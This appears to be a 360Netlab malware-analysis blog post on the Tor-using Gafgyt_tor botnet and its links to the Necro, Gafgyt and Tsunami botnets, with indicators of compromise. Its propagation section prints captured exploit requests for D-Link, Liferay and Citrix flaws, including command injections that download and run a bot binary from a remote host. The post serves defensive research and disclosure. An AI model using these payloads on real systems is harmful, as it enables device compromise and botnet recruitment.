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post | null | 2021-03-04T02:48:42.000Z | 63873b9a8b1c1e0007f52fab | gafgtyt_tor-and-necro-are-on-the-move-again | 0 | 2021-03-04T13:59:59.000Z | public | published | null | 2021-03-04T14:00:00.000Z | Gafgtyt_tor and Necro are on the move again | <!--kg-card-begin: markdown--><h2 id="overview">Overview</h2>
<p>Since February 15, 2021, 360Netlab's BotMon system has continuously detected a new variant of the Gafgyt family, which uses Tor for C2 communication to hide the real C2 and encrypts sensitive strings in the samples. This is the first time we found a Gafgyt variant using the Tor mechanism, so we named the variant Gafgyt_tor. Further analysis revealed that the family is closely related to the <a href="__GHOST_URL__/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/">Necro</a> family we made public in January, and is behind the same group of people, the so-called keksec group <a href="https://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg">[1]</a> <a href="https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/">[2]</a>. In this blog, we will introduce Gafgyt_tor and sort out other recent botnets operated by this group.</p>
<p>The key points of this article are as follows.</p>
<ol>
<li>
<p>Gafgyt_tor uses Tor to hide C2 communication, over 100 Tor proxies can be built in, and new samples are continuously updating the proxy list.</p>
</li>
<li>
<p>Gafgyt_tor share the same origin with the Gafgyt samples discturibed by the keksec group, the core function is still DDoS attacks and scanning.</p>
</li>
<li>
<p>The keksec group reuse the code between different bot families.</p>
</li>
<li>
<p>In addition, the keksec group also reuse a bunch of IP addresses for a long time.</p>
</li>
</ol>
<h2 id="sampleanalysis">Sample Analysis</h2>
<h3 id="propagation">Propagation</h3>
<p>The currently discovered Gafgyt_tor botnet is mainly propagated through Telnet weak passwords and the following three vulnerabilities.</p>
<ul>
<li>D-Link RCE (CVE-2019-16920)</li>
</ul>
<pre><code>POST /apply_sec.cgi HTTP/1.1
Host: %s:%d
User-Agent: kpin
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: close
Referer: http://%s:%d/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%%0acd%%20%%2Ftmp;busybox%%20wget%%20http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFarm7%%20%7C%7C%%20wget%%20http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFarm7%%20-O%%20.kpin;chmod%%20777%%20.%%2F.kpin;.%2F.kpin;rm%%20-rf%%20.kpin
</code></pre>
<ul>
<li>Liferay Portal RCE</li>
</ul>
<pre><code>POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: %s:%d
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.0
Content-Length: %d
Content-Type: application/x-www-form-urlencoded
Authorization: Basic dGVzdEBsaWZlcmF5LmNvbTp0ZXN0
%2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource&defaultData.userOverridesAsString=HexAsciiSerializedMap:...
</code></pre>
<ul>
<li>Citrix CVE-2019-19781</li>
</ul>
<pre><code> POST /vpns/portal/scripts/newbm.pl HTTP/1.1
Host: %s:%d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
NSC_USER: ../../../netscaler/portal/templates/flialwznxz
NSC_NONCE: 12
Content-Length: %d
Content-Type: application/x-www-form-urlencoded
url=127.0.0.1&title=%%5B%%25+template.new%%28%%7B%%27BLOCK%%27%%3D%%27print+readpipe%%28%%22cd+%%2Ftmp%%3Bwget+http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFx86+%%7C%%7C+wget+http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFx86+-O+.kpin%%3Bchmod+777+.%%2F.kpin%%3B.%%2F.kpin%%3Brm+-rf+.kpin%%22%%29%%27%%7D%%29%%25%%5D&desc=desc&UI_inuse=a
</code></pre>
<h3 id="encryption">Encryption</h3>
<p>Gafgyt_tor integrates a replacement encryption algorithm for encrypting C2 and sensitive strings to counter detection and static analysis. Sensitive strings include commands, IPC pathnames, DDoS-related attack strings, etc.</p>
<p>The following is a comparison of ciphertext and plaintext C2.</p>
<pre><code># ciphertext
'"?>K!tF>iorZ:ww_uBw3Bw'
# plaintext
'wvp3te7pkfczmnnl.onion'
</code></pre>
<p>The Gafgyt_tor variants we detected so far all use the same C2 wvp3te7pkfczmnnl.onion.</p>
<p>Some of the cipher decryption results are as follows.</p>
<pre><code># commands
~-6mvgmv - LDSERVER
1-| - UDP
cD| - TCP
ej~- - HOLD
51,U - JUNK
c~6 - TLS
6c- - STD
-,6 - DNS
6D7,,mv - SCANNER
j, - ON
jdd - OFF
jge - OVH
.~7DU,1v6m - BLACKNURSE
# DDoS-related attack
7~~ - ALL
6p, - SYN
v6c - RST
dx, - FIN
7DU - ACK
|6e - PSH
# Scan-related
aDbwwtr3bw - WChnnecihn
aQuq - W.1
aEcc - WxTT
74tw! - Agent
1;t= - User
# misc
|x,< - PING
=ru_Brf_ - rc.local
</code></pre>
<p>The following is the python decryption code we wrote based on the inverse results.</p>
<pre><code> def decode(encoded, encodes):
idx = 0
decodes = b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. '
decoded = bytearray()
while ( idx < len(encoded)):
for table_idx in range(0, 64):
if encoded[idx] == encodes[table_idx]:
decoded.append(decodes[table_idx])
idx += 1
print(decoded)
encodes = b'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un'
encoded_cc = b'"?>K!tF>iorZ:ww_uBw3Bw'
decode(encoded_cc, encodes)
</code></pre>
<h3 id="communication">Communication</h3>
<p>Compared with other Gafgyt variants, the biggest change of Gafgyt_tor is that the C2 communication is based on Tor, which increases the difficulty of detection and blocking. The Tor-based C2 communication mechanism has been seen in other families we have analyzed before( <a href="__GHOST_URL__/matryosh-botnet-is-spreading/">Matryosh</a> <a href="__GHOST_URL__/the-leethozer-botnet/">leethozer</a> <a href="__GHOST_URL__/moobot-0day-unixcctv-dvr/">moobot</a> ), but this is the first time we encountered it in the Gafgyt family.</p>
<ul>
<li>Code changes</li>
</ul>
<p>Compared with other versions, the code structure of the main function of Gafgyt_tor, which adds the Tor proxy function, has changed very much, as shown in the following figure.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/ver1_ver2_cmp_cfg.en.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>The original initConnection() function, which is responsible for establishing the C2 connection, is gone, replaced by a large section of code responsible for establishing the Tor connection. The newly added Tor-related functions are as follows.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/tor_functions.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>Among them, tor_socket_init is responsible for initializing a list of proxy nodes, each containing an ip address and a port.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/tor_socket_init.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>Our analysis shows that the number of proxy nodes integrated in each sample is always 100+, with a maximum of 173.</p>
<p>After initializing the proxy list, the sample will select a random node from the list to enable Tor communication via tor_retrieve_addr and tor_retrieve_port.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/random_select_tor_node.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>After establishing a connection with the Tor proxy, Gafgyt_tor starts requesting wvp3te7pkfczmnnl.onion through the darknet waiting for instructions. This C2 address has not changed in the samples we have analyzed, but the communication port is continuously changing.</p>
<ul>
<li>The command</li>
</ul>
<p>The core function of Gafgyt_tor is still DDoS attack and scanning, so it mostly follows the common Gafgyt directive, a new directive called LDSERVER has been added. C2 can specify the download server used in Gafgyt_tor's exploit through this directive, as shown in the figure below.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/dyn_config_scan_payload_dl_server-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>This directive means that C2 can dynamically switch download servers, so that it can quickly switch to a new download server to continue propagation if the current one is blocked.</p>
<h3 id="someotherthings">Some other things</h3>
<p>Gafgyt_tor uses a few uncommon coding tricks in addition to the modification of the communication function.</p>
<ul>
<li>Singleton mode</li>
</ul>
<p>Single instance mode is implemented using Unix domain sockets (an IPC mechanism), which requires a pathname to be specified, which is also encrypted. As shown below, k4=f2t is decrypted to ugrade.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/singleton_connect-2.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>Function name obfuscation</li>
</ul>
<p>None of the Gafgyt_tor samples we collected have been stripped, so the complete symbolic information is preserved in the samples, and most of the samples are scanned and propagated using a function named ak47Scan. In the sample captured on February 24 we found that the function name was obfuscated as a random string, so it can be assumed that the sample is in active development stage and the authors are gradually strengthening Gafgyt_tor's ability to counter analysis and detection.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/ak47scan_v2_comp_v2.1_obf.en.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h2 id="sampleorigin">Sample origin</h2>
<p>While analyzing the IoC of Gafgyt_tor, we noticed that a download server IP 45.145.185.83 was used by Necro botnet, which appeared in early January this year:</p>
<p>gxbrowser.net is one of Necro's 3 C2s, and the above image shows that it has resolved to this download server IP of Gafgyt_tor several times.</p>
<p>Further analysis shows that this IP and another Necro C2 IP 193.239.147.224 were also used as C2 by other versions of Gafgyt and Tsunami botnet in early February, which apparently share code with Gafgyt_tor.</p>
<ol>
<li>
<p>Both have decryption functions named decode, with identical code structures.</p>
</li>
<li>
<p>Both have scan functions named ak47scan and ak47telscan.</p>
</li>
</ol>
<p>Their decode function decode() differs only in the code table.</p>
<pre><code># Code table in the gafgyt sample
'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un0'
# Code table in tsunami sample
'xm@_;w,B-Z*j?nvE|sq1o$3"7zKC<F)utAr.p%=>4ihgfe6cba~&5Dk2d!8+9Uy:0'
</code></pre>
<p>The following figure is a comparison of their ak47scan() functions, you can see that the function and structure is actually similar, but there are changes in the way it runs and the ports it scans.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/ak47scan_history.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>Based on the binary characteristics of the decode() and ak47scan() functions mentioned above, we found more such Tsunami and Gafgyt samples in our sample database, which are characterized as follows.</p>
<ol>
<li>
<p>Tsunami samples appear in mid-August 2020 and are active for a short period of time.</p>
</li>
<li>
<p>Gafgyt samples were spreading intermittently from September to December 2020.</p>
</li>
<li>
<p>From early to mid-February, first Tsunami samples resumed propagation, then Gafgyt, followed by Gafgyt_tor.</p>
</li>
<li>
<p>There are many similarities between the currently spreading Gafgyt_tor variants and the previously captured Gafgyt samples, and the code is clearly same origin.</p>
</li>
<li>
<p>These variants of botnet frequently reuse same download server and C2 IP.</p>
</li>
</ol>
<p>We can see that there was no update in January this year, we guess because the authors focused their efforts on Necro. In terms of binary characteristics, there is no similarity with Gafgyt_tor as Necro is written in Python, but we see there are some commonalities in propagation methods.</p>
<ol>
<li>
<p>Both changed different exploits in a short period of time, presumably to improve the propagation effect.</p>
</li>
<li>
<p>Both adopted the "develop-and-distribute" approach to continuously improve the botnet function, resulting in a large number of different samples being distributed in a short period of time.</p>
</li>
</ol>
<p>Based on the above analysis, we think that Gafgyt_tor and Necro are very likely operated by the same group of people, who have a pool of IP addresses and multiple botnet source codes, and have the ability of continuous development. In actual operation, they form different families of botnets, but reuse infrastructure such as IP address, for example, the above-mentioned IP 45.145.185.83 address acts as different C2 for different botnets since the end of last year, the timeline of different functions is roughly shown in the figure below.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/ip_timeline-3.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>Here are some conclusions about the group:</p>
<ol>
<li>
<p>They have at least the source code for Necro, Gafgyt and Tsunami.</p>
</li>
<li>
<p>They continue to upgrade and rotate the botnets in their hands.</p>
</li>
<li>
<p>They have a pool of IP address resources and reuse them in different botnets.</p>
</li>
<li>
<p>The group also keeps up with n-day vulnerabilities in IoT and use them promptly to facilitate their own botnets.</p>
</li>
</ol>
<p>The timeline chart below shows the Linux IoT botnet family operated by this group that we detected from last August to now.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/keksec_samples_timeline-2.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on twitter, or email to netlab at 360 dot cn.</p>
<h2 id="ioc">IoC</h2>
<ul>
<li>MD5</li>
</ul>
<pre><code># tsunami
3ab32e92917070942135f5c5a545127d
# gafgyt
f1d6fbd0b4e6c6176e7e89f1d1784d14
# gafgyt_tor
eb77fa43bb857e68dd1f7fab04ed0de4
dce3d16ea9672efe528f74949403dc93
bfaa01127e03a119d74bdb4cb0f557ec
a6bdf72b8011be1edc69c9df90b5e0f2
5c1153608be582c28e3287522d76c02f
54e2687070de214973bdc3bc975049b5
b40d8a44b011b79178180a657b052527
1cc68eb2d9713925d692194bd0523783
94a587198b464fc4f73a29c8d8d6e420
2b2940d168a60990377fea8b6158ba22
56439912093d9c1bf08e34d743961763
2d6917fe413163a7be7936a0609a0c2d
8cd99b32ec514f348f4273a814f97e79
1c966d79319e68ccc66f1a2231040adb
47275afdb412321610c08576890093d7
3c5758723980e6b9315ac6e6c32e261d
980d4d0ac9335ae1db6938e8aeb3e757
513bc0091dfa208249bd1e6a66d9d79e
8e551c76a6b17299da795c2b69bb6805
61b93c03cb5af31b82c11d0c86f82be1
69cab222e42c7177655f490d849e18c5
7cbdd215e7f1e17fc589de2df3f09ac9
6b631fed1416c2cd16ca01738fdfe61a
90a716280fe1baee0f056a79c3aa724d
3b4f844c7dd870e8b8c1d5a397a29514
853dc777c5959db7056f64b34e938ba5
3eccab18fa690bbfdb6e10348bc40b02
e78e04aad0915f2febcbb19ef6ffc4fe
b99115a6ea41d85dea5c96d799e65353
4b95dfc5dc523f29eebf7d50e98187c2
4c271f8068bc64686b241eb002e15459
843a7fec9a8e2398a69dd7dfc49afdd2
7122bcd084d2d0e721ec7c01cf2a6a57
10f6b09f88e0cf589d69a764ff4f455b
f91083e19eed003ac400c1e94eba395e
</code></pre>
<ul>
<li>C2</li>
</ul>
<pre><code>wvp3te7pkfczmnnl.onion
</code></pre>
<ul>
<li>Download URL</li>
</ul>
<pre><code>http://45.153.203.124/bins/AJhkewbfwefWEFx86
http://45.153.203.124/bins/AJhkewbfwefWEFsh4
http://45.153.203.124/bins/AJhkewbfwefWEFmips
http://45.153.203.124/S1eJ3/lPxdChtp3zx86
http://45.153.203.124/S1eJ3/lPxdChtp3zsh4
http://45.153.203.124/S1eJ3/lPxdChtp3zppc-440fp
http://45.153.203.124/S1eJ3/lPxdChtp3zmpsl
http://45.153.203.124/S1eJ3/lPxdChtp3zmips
http://45.153.203.124/S1eJ3/lPxdChtp3zarm7
http://45.153.203.124/S1eJ3/lPxdChtp3zarm
http://45.145.185.83/bins/AJhkewbfwefWEFx86
http://45.145.185.83/bins/AJhkewbfwefWEFspc
http://45.145.185.83/bins/AJhkewbfwefWEFsh4
http://45.145.185.83/bins/AJhkewbfwefWEFppc
http://45.145.185.83/bins/AJhkewbfwefWEFmips
http://45.145.185.83/bins/AJhkewbfwefWEFi586
http://45.145.185.83/bins/AJhkewbfwefWEFarm7
http://45.145.185.83/bins/AJhkewbfwefWEFarm
http://45.145.185.83/S1eJ3/lPxdChtp3zsh4
http://45.145.185.83/S1eJ3/lPxdChtp3zmpsl
http://45.145.185.83/S1eJ3/lPxdChtp3zmips
http://45.145.185.83/S1eJ3/lPxdChtp3zi686
http://45.145.185.83/S1eJ3/lPxdChtp3zbsd
http://45.145.185.83/S1eJ3/lPxdChtp3zarm7
http://45.145.185.83/S1eJ3/lPxdChtp3zarm64
http://45.145.185.83/S1eJ3/lPxdChtp3zarm
http://45.145.185.83/S1eJ3/IObeENwjx86
http://45.145.185.83/S1eJ3/IObeENwjmips
http://45.145.185.83/S1eJ3/IObeENwjarm5
http://45.145.185.83/S1eJ3/IObeENwjarm4
http://45.145.185.83/S1eJ3/IObeENwjarm
</code></pre>
<ul>
<li>Tor Proxy</li>
</ul>
<pre><code>103.125.218.111
103.125.218.111
103.82.219.42
104.155.207.91
104.224.179.229
107.20.204.32
111.90.159.138
116.202.107.151
116.203.210.124
116.203.210.124
116.203.210.124
116.203.210.124
116.203.210.124
119.28.149.37
128.199.45.26
130.193.56.117
134.122.4.130
134.122.4.130
134.122.59.236
134.122.59.236
134.122.59.236
134.209.230.13
134.209.249.97
135.181.137.237
138.68.6.227
139.162.149.58
139.162.32.82
139.162.42.124
139.99.239.154
142.47.219.133
143.110.230.187
145.239.83.129
146.59.156.72
146.59.156.76
146.59.156.77
146.66.180.176
148.251.177.144
157.230.27.96
157.230.98.211
157.230.98.77
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.247.211.132
159.65.69.186
159.69.203.65
159.69.203.65
159.89.19.9
161.35.84.202
165.22.194.250
165.22.94.245
167.172.123.221
167.172.173.3
167.172.177.33
167.172.178.215
167.172.179.199
167.172.180.219
167.172.190.42
167.233.6.47
167.71.236.109
168.119.37.152
168.119.37.152
168.119.37.152
168.119.37.152
168.119.37.152
168.119.61.251
172.104.240.74
172.104.4.144
176.37.245.132
178.62.215.4
18.191.18.101
18.229.49.115
185.105.237.253
185.106.121.176
185.106.122.10
185.128.139.56
185.180.223.198
185.18.215.170
185.18.215.178
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.217.1.30
188.127.231.152
188.165.233.121
188.166.17.35
188.166.34.137
188.166.79.209
188.166.79.209
188.166.80.74
188.166.82.232
188.166.82.232
188.227.224.110
188.68.52.220
192.46.209.98
192.99.169.229
193.123.35.48
193.187.173.33
195.123.222.9
195.93.173.53
197.156.89.19
198.27.82.186
198.74.54.182
199.247.4.110
201.40.122.152
20.52.130.140
20.52.130.140
20.52.130.140
20.52.147.137
20.52.37.89
20.52.37.89
206.81.17.232
206.81.27.29
212.71.253.168
212.8.244.112
217.12.201.190
217.12.201.190
217.12.201.190
217.144.173.78
217.170.127.226
217.61.98.33
34.239.11.167
35.189.88.51
35.192.111.58
35.192.111.58
37.200.66.166
3.91.139.103
45.33.45.209
45.33.79.19
45.33.82.126
45.79.207.110
45.81.225.67
45.81.225.67
45.81.226.8
45.81.226.8
45.81.226.8
45.92.94.83
46.101.156.38
46.101.159.138
47.90.1.153
49.147.80.102
50.116.61.125
5.100.80.141
51.11.240.222
51.11.240.222
51.116.185.181
51.116.185.181
51.195.201.47
51.195.201.50
5.167.53.191
51.68.191.153
51.75.161.21
51.83.185.71
51.83.186.137
51.89.165.233
52.47.87.178
5.63.13.54
66.42.34.110
67.205.130.65
68.183.67.182
68.183.82.50
79.124.62.26
80.251.220.190
8.210.163.246
8.210.163.246
87.236.215.248
88.198.167.20
88.198.167.20
91.236.251.131
94.23.40.220
95.179.163.1
95.179.163.1
95.179.163.1
95.179.163.1
95.179.164.28
95.179.164.28
95.179.164.28
95.188.93.135
95.216.123.39
95.216.137.149
95.217.27.5
</code></pre>
<h2 id="references">References</h2>
<p><a href="__GHOST_URL__/necro/">https://blog.netlab.360.com/necro/</a><br>
<a href="https://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg">https://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg</a><br>
<a href="https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/">https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/</a></p>
<!--kg-card-end: markdown--><p></p><p></p> | Overview
Since February 15, 2021, 360Netlab's BotMon system has continuously detected a new variant of the Gafgyt family, which uses Tor for C2 communication to hide the real C2 and encrypts sensitive strings in the samples. This is the first time we found a Gafgyt variant using the Tor mechanism, so we named the variant Gafgyt_tor. Further analysis revealed that the family is closely related to the Necro family we made public in January, and is behind the same group of people, the so-called keksec group [1] [2]. In this blog, we will introduce Gafgyt_tor and sort out other recent botnets operated by this group.
The key points of this article are as follows.
1.
Gafgyt_tor uses Tor to hide C2 communication, over 100 Tor proxies can be built in, and new samples are continuously updating the proxy list.
2.
Gafgyt_tor share the same origin with the Gafgyt samples discturibed by the keksec group, the core function is still DDoS attacks and scanning.
3.
The keksec group reuse the code between different bot families.
4.
In addition, the keksec group also reuse a bunch of IP addresses for a long time.
Sample Analysis
Propagation
The currently discovered Gafgyt_tor botnet is mainly propagated through Telnet weak passwords and the following three vulnerabilities.
* D-Link RCE (CVE-2019-16920)
POST /apply_sec.cgi HTTP/1.1
Host: %s:%d
User-Agent: kpin
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: close
Referer: http://%s:%d/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%%0acd%%20%%2Ftmp;busybox%%20wget%%20http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFarm7%%20%7C%7C%%20wget%%20http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFarm7%%20-O%%20.kpin;chmod%%20777%%20.%%2F.kpin;.%2F.kpin;rm%%20-rf%%20.kpin
* Liferay Portal RCE
POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: %s:%d
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.0
Content-Length: %d
Content-Type: application/x-www-form-urlencoded
Authorization: Basic dGVzdEBsaWZlcmF5LmNvbTp0ZXN0
%2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource&defaultData.userOverridesAsString=HexAsciiSerializedMap:...
* Citrix CVE-2019-19781
POST /vpns/portal/scripts/newbm.pl HTTP/1.1
Host: %s:%d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
NSC_USER: ../../../netscaler/portal/templates/flialwznxz
NSC_NONCE: 12
Content-Length: %d
Content-Type: application/x-www-form-urlencoded
url=127.0.0.1&title=%%5B%%25+template.new%%28%%7B%%27BLOCK%%27%%3D%%27print+readpipe%%28%%22cd+%%2Ftmp%%3Bwget+http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFx86+%%7C%%7C+wget+http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFx86+-O+.kpin%%3Bchmod+777+.%%2F.kpin%%3B.%%2F.kpin%%3Brm+-rf+.kpin%%22%%29%%27%%7D%%29%%25%%5D&desc=desc&UI_inuse=a
Encryption
Gafgyt_tor integrates a replacement encryption algorithm for encrypting C2 and sensitive strings to counter detection and static analysis. Sensitive strings include commands, IPC pathnames, DDoS-related attack strings, etc.
The following is a comparison of ciphertext and plaintext C2.
# ciphertext
'"?>K!tF>iorZ:ww_uBw3Bw'
# plaintext
'wvp3te7pkfczmnnl.onion'
The Gafgyt_tor variants we detected so far all use the same C2 wvp3te7pkfczmnnl.onion.
Some of the cipher decryption results are as follows.
# commands
~-6mvgmv - LDSERVER
1-| - UDP
cD| - TCP
ej~- - HOLD
51,U - JUNK
c~6 - TLS
6c- - STD
-,6 - DNS
6D7,,mv - SCANNER
j, - ON
jdd - OFF
jge - OVH
.~7DU,1v6m - BLACKNURSE
# DDoS-related attack
7~~ - ALL
6p, - SYN
v6c - RST
dx, - FIN
7DU - ACK
|6e - PSH
# Scan-related
aDbwwtr3bw - WChnnecihn
aQuq - W.1
aEcc - WxTT
74tw! - Agent
1;t= - User
# misc
|x,< - PING
=ru_Brf_ - rc.local
The following is the python decryption code we wrote based on the inverse results.
def decode(encoded, encodes):
idx = 0
decodes = b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. '
decoded = bytearray()
while ( idx < len(encoded)):
for table_idx in range(0, 64):
if encoded[idx] == encodes[table_idx]:
decoded.append(decodes[table_idx])
idx += 1
print(decoded)
encodes = b'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un'
encoded_cc = b'"?>K!tF>iorZ:ww_uBw3Bw'
decode(encoded_cc, encodes)
Communication
Compared with other Gafgyt variants, the biggest change of Gafgyt_tor is that the C2 communication is based on Tor, which increases the difficulty of detection and blocking. The Tor-based C2 communication mechanism has been seen in other families we have analyzed before( Matryosh leethozer moobot ), but this is the first time we encountered it in the Gafgyt family.
* Code changes
Compared with other versions, the code structure of the main function of Gafgyt_tor, which adds the Tor proxy function, has changed very much, as shown in the following figure.
The original initConnection() function, which is responsible for establishing the C2 connection, is gone, replaced by a large section of code responsible for establishing the Tor connection. The newly added Tor-related functions are as follows.
Among them, tor_socket_init is responsible for initializing a list of proxy nodes, each containing an ip address and a port.
Our analysis shows that the number of proxy nodes integrated in each sample is always 100+, with a maximum of 173.
After initializing the proxy list, the sample will select a random node from the list to enable Tor communication via tor_retrieve_addr and tor_retrieve_port.
After establishing a connection with the Tor proxy, Gafgyt_tor starts requesting wvp3te7pkfczmnnl.onion through the darknet waiting for instructions. This C2 address has not changed in the samples we have analyzed, but the communication port is continuously changing.
* The command
The core function of Gafgyt_tor is still DDoS attack and scanning, so it mostly follows the common Gafgyt directive, a new directive called LDSERVER has been added. C2 can specify the download server used in Gafgyt_tor's exploit through this directive, as shown in the figure below.
This directive means that C2 can dynamically switch download servers, so that it can quickly switch to a new download server to continue propagation if the current one is blocked.
Some other things
Gafgyt_tor uses a few uncommon coding tricks in addition to the modification of the communication function.
* Singleton mode
Single instance mode is implemented using Unix domain sockets (an IPC mechanism), which requires a pathname to be specified, which is also encrypted. As shown below, k4=f2t is decrypted to ugrade.
* Function name obfuscation
None of the Gafgyt_tor samples we collected have been stripped, so the complete symbolic information is preserved in the samples, and most of the samples are scanned and propagated using a function named ak47Scan. In the sample captured on February 24 we found that the function name was obfuscated as a random string, so it can be assumed that the sample is in active development stage and the authors are gradually strengthening Gafgyt_tor's ability to counter analysis and detection.
Sample origin
While analyzing the IoC of Gafgyt_tor, we noticed that a download server IP 45.145.185.83 was used by Necro botnet, which appeared in early January this year:
gxbrowser.net is one of Necro's 3 C2s, and the above image shows that it has resolved to this download server IP of Gafgyt_tor several times.
Further analysis shows that this IP and another Necro C2 IP 193.239.147.224 were also used as C2 by other versions of Gafgyt and Tsunami botnet in early February, which apparently share code with Gafgyt_tor.
1.
Both have decryption functions named decode, with identical code structures.
2.
Both have scan functions named ak47scan and ak47telscan.
Their decode function decode() differs only in the code table.
# Code table in the gafgyt sample
'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un0'
# Code table in tsunami sample
'xm@_;w,B-Z*j?nvE|sq1o$3"7zKC<F)utAr.p%=>4ihgfe6cba~&5Dk2d!8+9Uy:0'
The following figure is a comparison of their ak47scan() functions, you can see that the function and structure is actually similar, but there are changes in the way it runs and the ports it scans.
Based on the binary characteristics of the decode() and ak47scan() functions mentioned above, we found more such Tsunami and Gafgyt samples in our sample database, which are characterized as follows.
1.
Tsunami samples appear in mid-August 2020 and are active for a short period of time.
2.
Gafgyt samples were spreading intermittently from September to December 2020.
3.
From early to mid-February, first Tsunami samples resumed propagation, then Gafgyt, followed by Gafgyt_tor.
4.
There are many similarities between the currently spreading Gafgyt_tor variants and the previously captured Gafgyt samples, and the code is clearly same origin.
5.
These variants of botnet frequently reuse same download server and C2 IP.
We can see that there was no update in January this year, we guess because the authors focused their efforts on Necro. In terms of binary characteristics, there is no similarity with Gafgyt_tor as Necro is written in Python, but we see there are some commonalities in propagation methods.
1.
Both changed different exploits in a short period of time, presumably to improve the propagation effect.
2.
Both adopted the "develop-and-distribute" approach to continuously improve the botnet function, resulting in a large number of different samples being distributed in a short period of time.
Based on the above analysis, we think that Gafgyt_tor and Necro are very likely operated by the same group of people, who have a pool of IP addresses and multiple botnet source codes, and have the ability of continuous development. In actual operation, they form different families of botnets, but reuse infrastructure such as IP address, for example, the above-mentioned IP 45.145.185.83 address acts as different C2 for different botnets since the end of last year, the timeline of different functions is roughly shown in the figure below.
Here are some conclusions about the group:
1.
They have at least the source code for Necro, Gafgyt and Tsunami.
2.
They continue to upgrade and rotate the botnets in their hands.
3.
They have a pool of IP address resources and reuse them in different botnets.
4.
